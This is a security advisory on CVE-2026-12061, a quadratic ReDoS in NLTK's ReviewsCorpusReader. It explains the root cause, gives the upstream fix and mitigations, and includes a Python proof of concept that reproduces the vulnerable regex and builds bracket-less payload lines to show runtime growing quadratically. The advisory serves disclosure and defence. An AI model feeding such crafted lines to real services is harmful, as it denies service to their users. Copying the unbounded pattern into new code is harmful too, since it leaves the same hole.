high · 7.5CVE-2026-12061Jul 31, 2026

CVE-2026-12061: NLTK ReviewsCorpusReader Quadratic ReDoS

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A crafted review line with no bracketed annotation can hang NLTK's ReviewsCorpusReader for tens of seconds to minutes, letting anyone who can supply a corpus file deny service with no authentication.

Packagenltk
Ecosystempip
Affected<= 3.9.4
Fixed in3.10.0
CVE-2026-12061: NLTK ReviewsCorpusReader Quadratic ReDoS

The problem

The module-level FEATURES regex in nltk/corpus/reader/reviews.py uses an unbounded label sub-pattern: ((?:(?:\w+\s)+)?\w+) followed by a required literal [. When re.findall scans a long line with no bracket, the engine greedily extends the label from every start position all the way to the end of the line, then backtracks the entire way before moving one character forward and repeating.

This is classic quadratic (O(n²)) backtracking: doubling the line length roughly quadruples runtime.

All three public entry points of ReviewsCorpusReader, namely reviews(), features(), and sents(), call through to the same regex. A single malicious line inside an otherwise normal corpus file is enough to stall the calling thread or process. No authentication and no special privileges are required.

Proof of concept

A working proof-of-concept for CVE-2026-12061 in nltk, with the exact payload below.

python
import re
import time

# Vulnerable regex verbatim from nltk/corpus/reader/reviews.py (<=3.9.4)
FEATURES = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")

# A single bracket-less line of N words triggers O(n^2) backtracking.
# At ~16 000 words this already takes several seconds; at ~100 000 it hangs.
for n in [1000, 2000, 4000, 8000, 16000]:
    line = ("word " * n).rstrip()   # no '[±d]' annotation anywhere
    t0 = time.perf_counter()
    FEATURES.findall(line)
    elapsed = time.perf_counter() - t0
    print(f"{n:>6} words  {elapsed*1000:>9.1f} ms")

# Expected output (approximate, CPython 3.x):
#   1000 words       12.3 ms
#   2000 words       48.7 ms   (~4x)
#   4000 words      195.1 ms   (~4x)
#   8000 words      780.4 ms   (~4x)
#  16000 words     3121.8 ms   (~4x)  <- quadratic growth confirmed

The root cause is CWE-1333: the label capture group ((?:(?:\w+\s)+)?\w+) is an optional greedy run of word-plus-whitespace groups followed by a bare \w+. Because the outer quantifier is unbounded and the inner group overlaps with the outer word token, there is no way for the engine to determine early that no [ will follow.

It must explore every possible split of the input before giving up, producing O(n²) total work as re.findall repeats this from every character position.

PR #3583 (merged into 3.10.0, contributed by @LinZiyuu) caps the inner repetition count with an explicit upper bound, changing (?:\w+\s)+ to (?:\w+\s){0,N} for a generous but finite N. This makes the label match linear because the engine can now stop extending after N words rather than chasing the end of the line.

Extraction results on real annotated corpora are identical, so the fix has no functional impact.

The fix

Upgrade to nltk >= 3.10.0. If an immediate upgrade is not possible, limit corpus line length in your ingestion pipeline (e.g. reject lines longer than 10 000 characters) before passing the corpus to ReviewsCorpusReader. The fix is in PR #3583 on the nltk/nltk repository.

Reported by LinZiyuu.

References: [1][2]

Related research